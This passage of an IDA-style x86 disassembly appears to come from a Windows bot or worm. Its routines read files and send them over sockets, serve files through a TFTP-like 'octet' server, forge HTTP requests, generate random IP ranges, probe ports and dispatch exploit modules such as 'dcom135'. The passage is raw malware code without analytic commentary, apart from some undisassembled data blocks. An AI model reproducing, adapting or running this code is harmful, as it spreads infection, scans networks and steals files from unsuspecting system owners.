COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_4154CD pop ecx pop ecx jmp short loc_4069F0 ; --------------------------------------------------------------------------- loc_4069D6: ; CODE XREF: seg000:004069BFj push dword ptr [ebp-8] lea eax, [ebp-248h] push dword ptr [ebp-4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_4154CD add esp, 10h loc_4069F0: ; CODE XREF: seg000:004069BAj ; seg000:004069D4j lea eax, [ebp-248h] push ebx push eax call sub_415CD0 pop ecx push eax lea eax, [ebp-248h] push eax push dword ptr [ebp+0Ch] call ds:dword_43A3C8 ; send pop edi pop esi xor eax, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406A16 proc near ; CODE XREF: seg000:0040609Dp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call ds:dword_421078 ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_406ACE push esi push ebx call near ptr 3D0000h dec ebx cmp eax, esi mov [ebp+arg_4], eax jz short loc_406AC7 loc_406A5B: ; CODE XREF: sub_406A16+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_415550 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_406A78 mov edi, [ebp+arg_4] loc_406A78: ; CODE XREF: sub_406A16+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call ds:dword_4210AC ; SetFilePointer lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call ds:dword_421068 ; ReadFile push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call ds:dword_43A3C8 ; send cmp eax, 0FFFFFFFFh jnz short loc_406AC2 call ds:dword_43A30C ; WSAGetLastError cmp eax, 2733h jnz short loc_406AC7 xor eax, eax loc_406AC2: ; CODE XREF: sub_406A16+9Bj sub [ebp+arg_4], eax jnz short loc_406A5B loc_406AC7: ; CODE XREF: sub_406A16+43j ; sub_406A16+A8j push ebx call ds:dword_42106C ; CloseHandle loc_406ACE: ; CODE XREF: sub_406A16+30j pop edi pop esi pop ebx leave retn sub_406A16 endp ; =============== S U B R O U T I N E ======================================= sub_406AD3 proc near ; CODE XREF: sub_4060E4+17Cp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_415CD0 test eax, eax pop ecx jbe short loc_406AFC loc_406AE6: ; CODE XREF: sub_406AD3+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_406AF0 mov byte ptr [esi+edi], 2Fh loc_406AF0: ; CODE XREF: sub_406AD3+17j push edi inc esi call sub_415CD0 cmp esi, eax pop ecx jb short loc_406AE6 loc_406AFC: ; CODE XREF: sub_406AD3+11j mov eax, edi pop edi pop esi retn sub_406AD3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406B01 proc near ; CODE XREF: seg000:0040F90Ep var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call ds:dword_43A2F0 ; WSAStartup push 6 push 1 push 2 call ds:dword_43A3F8 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_415550 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call ds:dword_43A378 ; ntohs push [ebp+arg_10] mov [ebp+var_E], ax call sub_40A03F pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call ds:dword_43A320 ; connect cmp eax, 0FFFFFFFFh jz short loc_406BDE mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_406B7A mov eax, offset byte_438F9C loc_406B7A: ; CODE XREF: sub_406B01+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_415A4A add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_415CD0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call ds:dword_43A3C8 ; send push esi lea eax, [ebp+var_110] push edi push eax call sub_4155B0 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call ds:dword_43A390 ; recv pop esi loc_406BDE: ; CODE XREF: sub_406B01+6Bj push ebx call ds:dword_43A410 ; closesocket call ds:dword_43A2D8 ; WSACleanup lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_4154CD cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_406C1E push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D32 add esp, 14h loc_406C1E: ; CODE XREF: sub_406B01+102j pop edi pop ebx leave retn sub_406B01 endp ; --------------------------------------------------------------------------- loc_406C22: ; CODE XREF: seg000:loc_40710Dp push ebp mov ebp, esp sub esp, 884h push ebx push esi push edi mov edx, [ebp+8] mov esi, offset aOctet ; "octet" lea edi, [ebp-1Ch] movsd push 1 xor ebx, ebx movsw pop eax mov ecx, 0A9h mov esi, edx lea edi, [ebp-37Ch] push ebx push 2 rep movsd inc dword ptr [ebp-16Ch] push 2 mov [ebp-0Ch], eax mov [edx+2A0h], eax call ds:dword_43A3F8 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-10h], edi jnz short near ptr loc_406CE4+1 push 190h call ds:dword_421060 ; Sleep call ds:dword_43A30C ; WSAGetLastError push eax lea eax, [ebp-780h] push offset unk_427284 push eax call sub_4154CD add esp, 0Ch cmp [ebp-0E0h], ebx jnz short loc_406CC5 push ebx lea eax, [ebp-780h] push dword ptr [ebp-0E4h] push eax lea eax, [ebp-164h] push eax push dword ptr [ebp-37Ch] call sub_412D32 add esp, 14h loc_406CC5: ; CODE XREF: seg000:00406CA0j lea eax, [ebp-780h] push eax call sub_40B151 push dword ptr [ebp-170h] call sub_415295 pop ecx pop ecx push ebx call near ptr 3D0000h loc_406CE4: ; CODE XREF: seg000:00406C72j mov eax, cs:[ebp-170h] push 10h imul eax, 234h push ebx mov ds:dword_43F514[eax], edi lea eax, [ebp-44h] push eax call sub_415550 add esp, 0Ch mov word ptr [ebp-44h], 2 push dword ptr [ebp-168h] call ds:dword_43A378 ; ntohs mov [ebp-42h], ax lea eax, [ebp-44h] push 10h push eax push edi mov [ebp-40h], ebx call ds:dword_43A3A4 ; bind cmp eax, 0FFFFFFFFh jnz short loc_406D4A push 1388h call ds:dword_421060 ; Sleep dec dword ptr [ebp-16Ch] push dword ptr [ebp+8] jmp loc_40710D ; --------------------------------------------------------------------------- loc_406D4A: ; CODE XREF: seg000:00406D2Fj lea eax, [ebp-378h] push offset aRb ; "rb" push eax call sub_415BC8 pop ecx cmp eax, ebx pop ecx mov [ebp-8], eax jnz short near ptr loc_406DC7+1 push 190h call ds:dword_421060 ; Sleep lea eax, [ebp-378h] push eax lea eax, [ebp-780h] push offset unk_427234 push eax call sub_4154CD push ebx lea eax, [ebp-780h] push dword ptr [ebp-0E4h] push eax lea eax, [ebp-164h] push eax push dword ptr [ebp-37Ch] call sub_412D32 lea eax, [ebp-780h] push eax call sub_40B151 push dword ptr [ebp-170h] call sub_415295 add esp, 28h push ebx call near ptr 3D0000h loc_406DC7: ; CODE XREF: seg000:00406D62j sar dword ptr [esi+200h], 8Bh inc ebp or [ecx], bh cwde mov al, ds:0F000002h test dh, cl add al, [eax] add [ecx-87F43h], cl ; --------------------------------------------------------------------------- db 0FFh, 0BFh, 80h dword_406DE4 dd 57000000h, 0FF28858Dh, 5053FFFFh, 5CC45C7h, 0C7000000h dd 1388D045h, 85C70000h, 0FFFFF77Ch, 1, 0E743E8h, 0CC48300h dd 50CC458Dh, 7C858D53h, 53FFFFF7h, 15FF5350h, 43A360h dd 8E0FC085h, 295h, 438F9CA0h, 88CF8B00h, 0FFFA8085h, 8DC033FFh dd 0FFFA81BDh, 0FC45C7FFh, 10h, 0AB66ABF3h, 0F07D8BAAh dd 50FC458Dh, 50D4458Dh, 28858D53h, 68FFFFFFh, 80h, 15FF5750h dd 43A350h, 89D875FFh, 15FFF445h, 43A404h, 0A8458D50h dd 0E64BE850h, 9D380000h, 0FFFFFF28h, 850F5959h, 21Bh dd 0FF29BD80h, 0F01FFFFh, 15A85h, 8C858D00h, 50FFFFFDh dd 0EE27E8h, 5848D00h, 0FFFFFF2Bh, 8DEC4589h, 0FFFD8C85h dd 11E850FFh, 500000EEh, 0FF2A858Dh, 8D50FFFFh, 0FFFD8C85h dd 0DDE850FFh, 830000FFh, 0C08514C4h, 0D3850Fh, 458D0000h dd 0E9E850E4h, 500000EDh, 0FFE4458Dh, 0E850EC75h, 0FFBCh dd 8510C483h, 0B2850FC0h, 53000000h, 0F875FF53h, 0FF15E8h dd 0F875FF00h, 0FA84858Dh, 9D88FFFFh, 0FFFFFA80h, 0FA8185C6h dd 5603FFFFh, 8850016Ah, 0FFFA829Dh, 8385C6FFh, 1FFFFFAh dd 0FC5BE8h, 1CC48300h, 89D44D8Dh, 0C083F445h, 0FC75FF04h dd 8D505351h, 0FFFA8085h, 0FF5750FFh, 43A3DC15h, 88858D00h dd 50FFFFFCh, 50A8458Dh, 4271E068h, 80858D00h, 50FFFFF8h dd 0E55CE8h, 10C48300h, 0FF209D39h, 2375FFFFh, 80858D53h dd 0FFFFFFF8h, 0FFFF1CB5h, 858D50FFh, 0FFFFFE9Ch, 84B5FF50h dd 0E8FFFFFCh, 0BD96h, 8D14C483h, 0FFF88085h, 0A6E850FFh dd 59000041h, 110E9h, 0FC75FF00h, 50D4458Dh, 68136A53h dd 4271CCh, 0DC15FF57h, 8D0043A3h, 0FFFD8C85h, 458D50FFh dd 858D50A8h, 0FFFFFF28h, 42719068h, 0EAE85000h, 8D0000E4h dd 0FFFF2885h, 62E850FFh, 83000041h, 0CAE914C4h, 80000000h dd 0FFFF29BDh, 850F04FFh, 0A7h, 0FF2B8D8Ah, 858AFFFFh dd 0FFFFFF2Ah, 88FFF980h, 0FFFA809Dh, 8185C6FFh, 3FFFFFAh dd 0C0FE1275h, 8588C932h, 0FFFFFA82h, 0FA839D88h, 0EEBFFFFh dd 8588C1FEh, 0FFFFFA82h, 0FA838D88h, 0B60FFFFFh, 0C9B60FC0h dd 308E0C1h, 0E0C153C1h, 50C62B09h, 0E8F875FFh, 0FDC2h dd 8DF875FFh, 0FFFA8485h, 16A56FFh, 0FB22E850h, 0C4830000h dd 8DF88B1Ch, 7D89D445h, 0FC75FFF4h, 4478D50h, 858D5053h dd 0FFFFFA80h, 0F075FF50h, 0A3DC15FFh, 0FB3B0043h, 858D2B75h dd 0FFFFFC88h, 0A8458D50h, 71406850h, 0BAE90042h, 0FFFFFFFEh dd 458DFC75h, 6A5350D4h, 71346809h, 0FF570042h, 43A3DC15h dd 0F45D3900h, 0FF07D8Bh, 0FFFD008Fh, 15FF57FFh, 43A410h dd 0E8F875FFh, 0EA44h, 0FF08758Bh, 0FFFE948Dh, 9E3959FFh dd 2A0h, 0B5FF1375h, 0FFFFFE90h, 0E19CE8h, 0E8535900h dd 0FFFC8F00h, 3E868FBh, 15FF0000h, 421060h ; --------------------------------------------------------------------------- push esi loc_40710D: ; CODE XREF: seg000:00406D45j call loc_406C22 pop edi pop esi pop ebx leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407119 proc near ; CODE XREF: seg000:004125D4p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_4276A4 push eax xor ebx, ebx call sub_4154CD cmp ds:dword_427300, ebx pop ecx pop ecx mov edi, 200h jz short loc_407187 push esi mov esi, offset dword_427308 loc_40714C: ; CODE XREF: sub_407119+6Bj mov eax, [esi] add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset aSD ; " %s: %d," push eax call sub_4154CD lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_416EF0 add esi, 3Ch add esp, 1Ch cmp dword ptr [esi-8], 0 jnz short loc_40714C pop esi loc_407187: ; CODE XREF: sub_407119+2Bj push ds:dword_4687F8 call sub_40A996 push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_4154CD lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_416EF0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D32 lea eax, [ebp+var_200] push eax call sub_40B151 add esp, 38h pop edi pop ebx leave retn sub_407119 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4071E3 proc near ; CODE XREF: seg000:00411F41p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 8 call sub_4151C1 test eax, eax pop ecx jle short loc_40721F mov eax, [ebp+arg_C] push ds:dword_438FC8[eax*8] call ds:dword_43A404 ; inet_ntoa push eax lea eax, [ebp+var_200] push offset unk_427710 push eax call sub_4154CD add esp, 0Ch jmp short loc_407232 ; --------------------------------------------------------------------------- loc_40721F: ; CODE XREF: sub_4071E3+13j lea eax, [ebp+var_200] push offset unk_4276DC push eax call sub_4154CD pop ecx pop ecx loc_407232: ; CODE XREF: sub_4071E3+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412D32 lea eax, [ebp+var_200] push eax call sub_40B151 add esp, 18h leave retn sub_4071E3 endp ; --------------------------------------------------------------------------- loc_40725A: ; CODE XREF: sub_407983+4Fp push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+138h] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_4075EA imul eax, 3Ch xor ebx, ebx cmp ds:dword_42730C[eax], ebx jz loc_4074CB push 4 call sub_4151C1 test eax, eax pop ecx jnz loc_4075EA mov eax, ds:dword_42C150 push edi mov edi, offset dword_439944 push 104h push edi push ebx mov ds:dword_439B54, eax mov ds:dword_439B50, ebx call near ptr 3D0000h mov bl, 68h add eax, [ecx] ; --------------------------------------------------------------------------- db 0 dd 9A48BE00h, 0B8680043h, 560042C1h, 0FA53E8h, 18858B00h dd 83000001h, 9D380CC4h, 98h, 439940A3h, 40858B00h, 6A000001h dd 9BD8A37Fh, 1D750043h, 5018458Dh, 439B5868h, 0FA22E800h dd 0C4830000h, 0DC05C70Ch, 100439Bh, 0EB000000h, 98858D1Ah dd 50000000h, 439B5868h, 0FA02E800h, 0C4830000h, 0DC1D890Ch dd 5600439Bh, 5435FF57h, 8D00439Bh, 0FFFDFC85h, 78BC68FFh dd 0E8500042h, 0E18Dh, 0FC858D53h, 6AFFFFFDh, 2AE85004h dd 830000DCh, 4CA320C4h, 8D00439Bh, 5350FC45h, 43994068h dd 6C226800h, 53530040h, 108C15FFh, 0D8B0042h, 439B4Ch dd 234C969h, 0C33B0000h, 0F51C8189h, 12740043h, 9BE01D39h dd 25750043h, 15FF326Ah, 421060h, 15FFEEEBh, 421088h, 0FC858D50h dd 68FFFFFDh, 427874h, 0E11FE850h, 0C4830000h, 0FC858D0Ch dd 50FFFFFDh, 3D94E8h, 9F9CBF00h, 4C70043h, 10424h, 89535700h dd 43A1A81Dh, 8C2AE800h, 68DFFFFCh, 103h, 43A0A0BEh, 0C1B86800h dd 0E8560042h, 0F934h, 118858Bh, 0C4830000h, 989D380Ch dd 0A3000000h, 439F98h, 140858Bh, 7F6A0000h, 43A230A3h dd 8D1D7500h, 68501845h, 43A1B0h, 0F903E8h, 0CC48300h dd 0A23405C7h, 10043h, 1AEB0000h, 98858Dh, 68500000h, 43A1B0h dd 0F8E3E8h, 0CC48300h, 0A2341D89h, 57560043h, 0A1AC35FFh dd 858D0043h, 0FFFFFDFCh, 42782068h, 6EE85000h, 530000E0h dd 0FDFC858Dh, 56AFFFFh, 0DB0BE850h, 0C4830000h, 0A1A4A320h dd 458D0043h, 685350FCh, 439F98h, 4053ED68h, 0FF535300h dd 42108C15h, 0A40D8B00h, 5F0043A1h, 234C969h, 0C33B0000h dd 0F51C8189h, 16740043h, 0A2381D39h, 850F0043h, 12Dh dd 15FF326Ah, 421060h, 15FFEAEBh, 421088h, 77DC6850h, 3E90042h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_4074CB: ; CODE XREF: seg000:0040727Fj cmp ds:dword_427310[eax], ebx jz loc_4075EA push 3 call sub_4151C1 test eax, eax pop ecx jnz loc_4075EA mov esi, offset dword_439E74 push 104h push esi push ebx call near ptr 3D0000h cld push 5Ch push esi call sub_417020 pop ecx cmp eax, ebx pop ecx jz short loc_407509 mov [eax], bl loc_407509: ; CODE XREF: seg000:00407505j mov eax, ds:dword_42C154 mov ds:dword_439F8C, ebx mov ds:dword_439F78, eax lea eax, [ebp+18h] push eax push offset dword_439BEC call sub_4154CD mov eax, [ebp+118h] pop ecx pop ecx mov ds:dword_439BE8, eax mov ecx, [ebp+140h] push esi push ds:dword_439F78 mov ds:dword_439F84, ecx mov ecx, [ebp+144h] push eax mov ds:dword_439F88, ecx call sub_40A155 pop ecx push eax lea eax, [ebp-204h] push offset dword_42778C push eax call sub_4154CD push ebx lea eax, [ebp-204h] push 3 push eax call sub_414F79 add esp, 20h mov ds:dword_439F80, eax lea eax, [ebp-4] push eax push ebx push offset dword_439BE8 push offset sub_405B07 push ebx push ebx call ds:dword_42108C ; CreateThread mov ecx, ds:dword_439F80 imul ecx, 234h cmp eax, ebx mov ds:dword_43F51C[ecx], eax jz short loc_4075C2 loc_4075B0: ; CODE XREF: seg000:004075C0j cmp ds:dword_439F94, ebx jnz short loc_4075DD push 32h call ds:dword_421060 ; Sleep jmp short loc_4075B0 ; --------------------------------------------------------------------------- loc_4075C2: ; CODE XREF: seg000:004075AEj call ds:dword_421088 ; RtlGetLastWin32Error push eax push offset unk_427744 lea eax, [ebp-204h] push eax call sub_4154CD add esp, 0Ch loc_4075DD: ; CODE XREF: seg000:004075B6j lea eax, [ebp-204h] push eax call sub_40B151 pop ecx loc_4075EA: ; CODE XREF: seg000:0040726Ej ; seg000:0040728Fj ... pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4075EE proc near ; CODE XREF: sub_40776F:loc_4077E0p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:438FC8h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_4155B0 add esp, 0Ch push [ebp+arg_0] call ds:dword_43A2AC ; ntohl inc eax push eax mov [ebp+arg_0], eax call ds:dword_43A374 ; ntohl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_4155B0 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_4075EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407636 proc near ; CODE XREF: sub_40776F+69p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_415CD0 cmp eax, 0Fh pop ecx jbe short loc_40765E xor eax, eax jmp short loc_4076CF ; --------------------------------------------------------------------------- loc_40765E: ; CODE XREF: sub_407636+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_416A80 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40768B call sub_415529 mov [ebp+var_C], eax loc_40768B: ; CODE XREF: sub_407636+4Bj cmp [ebp+var_8], esi jnz short loc_407698 call sub_415529 mov [ebp+var_8], eax loc_407698: ; CODE XREF: sub_407636+58j cmp [ebp+var_4], esi jnz short loc_4076A5 call sub_415529 mov [ebp+var_4], eax loc_4076A5: ; CODE XREF: sub_407636+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_4076B1 call sub_415529 loc_4076B1: ; CODE XREF: sub_407636+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov ds:dword_438FC8[ecx*8], eax loc_4076CF: ; CODE XREF: sub_407636+26j pop esi leave retn sub_407636 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4076D2 proc near ; CODE XREF: sub_40776F+B8p ; sub_412B7E+30p var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call ds:dword_43A3F8 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4076FB xor eax, eax jmp short loc_40776A ; --------------------------------------------------------------------------- loc_4076FB: ; CODE XREF: sub_4076D2+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call ds:dword_43A378 ; ntohs mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call ds:dword_43A414 ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call ds:dword_43A320 ; connect mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call ds:dword_43A360 ; select push esi mov edi, eax call ds:dword_43A410 ; closesocket xor eax, eax cmp edi, ebx setnle al loc_40776A: ; CODE XREF: sub_4076D2+27j pop edi pop esi pop ebx leave retn sub_4076D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40776F proc near ; DATA XREF: sub_407983+13Bo var_2A8 = dword ptr -2A8h var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call ds:dword_42104C ; GetTickCount push eax call sub_41551F mov ebx, esi pop ecx imul ebx, 234h loc_4077B6: ; CODE XREF: sub_40776F+200j mov eax, ds:dword_43F50C[ebx] cmp ds:dword_438FCC[eax*8], 0 jz loc_407974 cmp [ebp+var_10], 0 push eax jz short loc_4077E0 lea eax, [ebp+var_150] push eax call sub_407636 pop ecx jmp short loc_4077E5 ; --------------------------------------------------------------------------- loc_4077E0: ; CODE XREF: sub_40776F+60j call sub_4075EE loc_4077E5: ; CODE XREF: sub_40776F+6Fj pop ecx mov edi, eax push [ebp+arg_0] push ds:dword_43F50C[ebx] push [ebp+var_3C] push edi call ds:dword_43A404 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset unk_427958 push eax call sub_4154CD lea eax, [ebp+var_28C] push eax lea eax, dword_43F308[ebx] push eax call sub_4154CD push [ebp+var_38] push [ebp+var_3C] push edi call sub_4076D2 add esp, 2Ch cmp eax, 1 jnz loc_407964 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_4078B9 push offset dword_439928 call ds:dword_4210B4 ; RtlEnterCriticalSection push [ebp+var_3C] push edi call ds:dword_43A404 ; inet_ntoa push eax lea eax, [ebp+var_28C] push offset unk_42791C push eax call sub_4154CD add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40789B cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40788F lea eax, [ebp+var_140] loc_40788F: ; CODE XREF: sub_40776F+118j push eax push [ebp+var_40] call sub_412D32 add esp, 14h loc_40789B: ; CODE XREF: sub_40776F+FDj lea eax, [ebp+var_28C] push eax call sub_40B151 mov [esp+2A8h+var_2A8], offset dword_439928 call ds:dword_4210B0 ; RtlLeaveCriticalSection jmp loc_407964 ; --------------------------------------------------------------------------- loc_4078B9: ; CODE XREF: sub_40776F+CDj push edi call ds:dword_43A404 ; inet_ntoa push eax lea eax, [ebp+var_208] push eax call sub_4154CD mov eax, [ebp+var_20] imul eax, 3Ch add eax, offset aDcom135_0 ; "dcom135" push eax lea eax, [ebp+var_178] push eax call sub_4154CD add esp, 10h cmp [ebp+var_C0], 0 lea eax, [ebp+var_C0] jnz short loc_4078FD lea eax, [ebp+var_140] loc_4078FD: ; CODE XREF: sub_40776F+186j push eax lea eax, [ebp+var_1F8] push eax call sub_4154CD mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] mov [ebp+var_15C], eax mov eax, [ebp+var_14] mov [ebp+var_158], eax mov eax, [ebp+var_3C] mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_164], eax imul eax, 3Ch sub esp, 0BCh mov [ebp+var_168], esi lea esi, [ebp+var_20C] push 2Fh pop ecx mov edi, esp rep movsd call ds:off_427304[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_407964: ; CODE XREF: sub_40776F+C3j ; sub_40776F+145j push 7D0h call ds:dword_421060 ; Sleep jmp loc_4077B6 ; --------------------------------------------------------------------------- loc_407974: ; CODE XREF: sub_40776F+55j push esi call sub_415295 pop ecx push 0 call near ptr 3D0000h icebp sub_40776F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407983 proc near ; DATA XREF: seg000:0041000Bo ; seg000:00411B9Fo var_1DC = dword ptr -1DCh var_1CC = byte ptr -1CCh var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call ds:dword_43A3B8 ; inet_addr mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov ds:dword_438FC8[ecx*8], eax pop ecx mov edi, esp rep movsd call loc_40725A push 8 call sub_4151C1 add esp, 150h cmp eax, ebx jnz short loc_407A51 mov esi, offset dword_439928 push esi call ds:dword_4210BC ; RtlDeleteCriticalSection push 80000400h push esi call ds:dword_4210B8 ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_407A51 lea eax, [ebp+var_1CC] push offset unk_427A9C push eax call sub_4154CD xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_407A3B push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_412D32 add esp, 14h loc_407A3B: ; CODE XREF: sub_407983+99j lea eax, [ebp+var_1CC] push eax call sub_40B151 pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_407A51: ; CODE XREF: sub_407983+63j ; sub_407983+7Fj mov eax, [ebp+var_2C] mov esi, ds:dword_421060 mov edi, ebx mov ds:dword_438FCC[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_407B1E loc_407A6F: ; CODE XREF: sub_407983+195j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_427A50 push eax call sub_4154CD push ebx lea eax, [ebp+var_1CC] push 